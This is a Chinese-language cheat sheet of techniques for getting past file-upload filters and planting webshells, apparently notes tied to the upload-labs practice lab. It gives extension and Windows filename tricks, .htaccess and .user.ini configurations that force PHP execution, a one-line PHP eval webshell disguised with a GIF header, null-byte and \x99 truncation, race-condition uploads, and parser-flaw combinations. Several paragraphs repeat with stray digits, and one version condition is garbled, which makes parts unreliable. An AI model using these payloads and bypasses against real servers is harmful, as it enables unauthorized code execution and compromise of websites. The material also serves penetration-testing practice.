一.upload上传绕过
后缀检验绕过
1.黑名单检测绕过
1.)上传文件重命名
#由于只有后缀是可控的 所以常见的后缀为php中 php2,php3,php4,php5,phtm,phtml,pht,如果是黑名单的话 果断.htacess 和user.ini 文件传上去看看 asp中 cer,asa,aspx,svc,ashx,asax,ascx,asmx等 jsp中 jsp,jspx,jspa,jsw,jsv,jspf,jtml #windows环境下 1.)可尝试大小写绕-->因为windows下不区分大小写导致的 2.)可尝试 php::$DATA php.等后缀 3.)先上传a.php:.jpg,生成空的a.php文件,在上传a.ph<写入文件内容 4.)如果web服务器配置了ssi,可尝试SHTML,SHT等文件命令执行
黑名单特殊绕过的原理分析
windows特性绕过
#如 ①如果在代码中没有过滤掉空格类时,可以利用windows的特性php(空格)进行绕过-->即该类名字最后会被直接去除掉空格 即无这句话$file_ext = trim($file_ext); //首尾去空 ②留点绕过 原理-->windows环境中会自动去除点 即如果没有这句话且又是黑名单检测的话$file_name = deldot($file_name); 可以shell.php.绕过 ③利用”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过 即无这句话 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
过滤次数仅有一次类绕过
常见使用于–>文件的名字仍为上传的文件名的这种情况
原理 ①如在中如果过滤了.但在中虽然经过了过滤但是只过滤了一次的这种情况 因此可以进行php..进行绕过 ②双写类-->即将黑名单的内容替换为空这种情况 $file_name = str_ireplace($deny_ext,"", $file_name); 因此直接shell.pphphp即可绕过
2.)上传文件不重命名
通过配置文件进行绕过
通过.htaccess–>只适用于apache服务器情况可以被解析
.htaccess的内容
SetHandler application/x-httpd-php
.user.ini–>利用配置文件更改进行导致解析(适用于php语言)
利用条件
.user.ini 利用条件如下:
①服务器脚本语言为PHP
②服务器使用CGI/FastCGI模式
③上传目录下要有可执行的php文件
配置内容
GIF89a //绕过exif_imagetype() auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。 auto_append_file=a.jpg //解析后进行包含
使用方法
1.先上传.user.ini文件
//.user.ini GIF89a#当需要检测文件头时需要使用 auto_prepend_file=a.jpg#即执行前先执行这个文件,从而连接其即可达到geteshell的作用
这个文件的作用为类似于在文件前调用了require()函数
是一个php配置项
该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门
auto_prepend_file 表示在php程序加载第一个php代码前加载的php文件,auto_append_file 是在php代码执行完毕后加载的文件
2.在上传a.jpg文件构造一句话木马 连接
GIF89a <script language='php'> @eval($_POST['pass']);</script>
然后直接执行连接即可
如
3.)上传类漏洞
如果其他文件均被解析为图片或者其他类型
上传index类文件可能可以被解析
如 index.php,index.jsp,index.asp类
.白名单检测
①截取类思路
①截取原理 img_path直接拼接导致 1.)get类获取直接拼接-->get类发送的可以直接解码%00 如 $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; 即可在save_path路径输出的地方控制位 shell.php%00 2.)post类获取直接拼接-->也是采用%00截断,不同点在于-->post类型的需要在二进制中修改 $img_path = $_POST['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext; ②条件竞争原理 如upload类 即先上传文件后然后在进行删除与修改 如下 因此可以不断的intruder包然后进行获取到 $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file);
uplaod-labs思路
data:image/jpeg上传时绕过方法#即更改为image/php的思路代
②常见利用中间组件和编辑器漏洞思路去绕过
如
1.)文件包含漏洞+解析漏洞组合拳
1.)apache解析漏洞
如
test.php.xxx
#因为xxx不能不解析,所以直接向左解析一步,直接解析为test.php
2.)IIS解析漏洞
即会将jpg解析为php类
1.)apache解析漏洞 如 test.php.xxx #因为xxx不能不解析,所以直接向左解析一步,直接解析为test.php 2.)IIS解析漏洞 即会将jpg解析为php类
如(即编辑器处典型配合解析漏洞)
利用–>即直接代shell即可
#如 ①如果在代码中没有过滤掉空格类时,可以利用windows的特性php(空格)进行绕过-->即该类名字最后会被直接去除掉空格 即无这句话$file_ext = trim($file_ext); //首尾去空 ②留点绕过 原理-->windows环境中会自动去除点 即如果没有这句话且又是黑名单检测的话$file_name = deldot($file_name); 可以shell.php.绕过 ③利用”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过 即无这句话 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA0
2.)请求头部过滤
如
绕过方法:更改一个为大写字母即可
3.)upload+任意文件删除组合拳
①在后台允许上传的文件中,添加自己想要的文件格式
②如果.htaccess限制了访问规则
找到一个任意文件删除的漏洞
删除.htaccess即可绕过访问规则
3.截断利用绕过
造成原因:作为底层的语言一个函数出问题导致
\00截断利用–>php版本类型最多(且目录解析类型最多)–>核心低版本服务器的解析问题造成的漏洞
使用条件:
php版本的情况1.
php版本小于5.3.42
magic_quotes_gpc为off状态–>如果开启了则%00为被反斜杠转义掉
如3
get请求类型与post请求类型不同所需要更改的不同
原因:
get类型-->url可以直接进行编码将%00变成一个非正常符号的编码
post类型-->url不进行直接编码,因此必须更改hex的值才可以进行-->或者进行url编码代绕
%00截断的原理
#如 ①如果在代码中没有过滤掉空格类时,可以利用windows的特性php(空格)进行绕过-->即该类名字最后会被直接去除掉空格 即无这句话$file_ext = trim($file_ext); //首尾去空 ②留点绕过 原理-->windows环境中会自动去除点 即如果没有这句话且又是黑名单检测的话$file_name = deldot($file_name); 可以shell.php.绕过 ③利用”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过 即无这句话 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA1
即直接利用代截断后面的内容实现绕过–>常见目录名截取
如
因为合取的是让road直接连接后面上传的文件
所以在这里构造%00进行截取掉后面的内容,从而实现绕过
java版本
使用条件
jdk8<jdk版本
JDK版本范围:JDK<1.7.40,单是JDK7于2011年07月28日发布至2013年09月10日发表Java SE 7 Update 40这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。
1
\x99截断利用
x.php\x99.jpg #即可以进行截取了